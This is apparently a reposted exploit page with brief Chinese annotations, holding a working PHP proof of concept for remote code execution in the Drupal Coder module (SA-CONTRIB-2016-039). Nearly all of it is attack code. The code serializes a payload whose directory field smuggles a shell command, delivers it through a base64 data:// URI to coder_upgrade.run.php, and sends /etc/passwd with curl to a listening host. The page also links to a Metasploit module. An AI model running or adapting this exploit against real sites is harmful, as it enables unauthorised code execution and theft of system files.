Drupal Module Coder < 7.x-1.3 / 7.x-2.6 - Remote Code Execution Exploit (SA-CONTRIB-2016-039)

具体的分析过程。https://www.exploit-db.com/docs/40244.pdf

<?php  # Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039) # https://www.drupal.org/node/2765575 # by Raz0r (http://raz0r.name) # # E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5  $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd"; $host = "http://localhost:81/drupal-7.12/";  $a = array(     "upgrades" => array(         "coder_upgrade" => array(             "module" => "color",             "files" => array("color.module")         )     ),     "extensions" => array("module"),     "items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),     "paths" => array(         "modules_base" => "../../../",         "files_base" => "../../../../sites/default/files"     ) ); $payload = serialize($a); file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));  ?>

相关的msf利用代码https://github.com/rapid7/metasploit-framework/pull/7115/files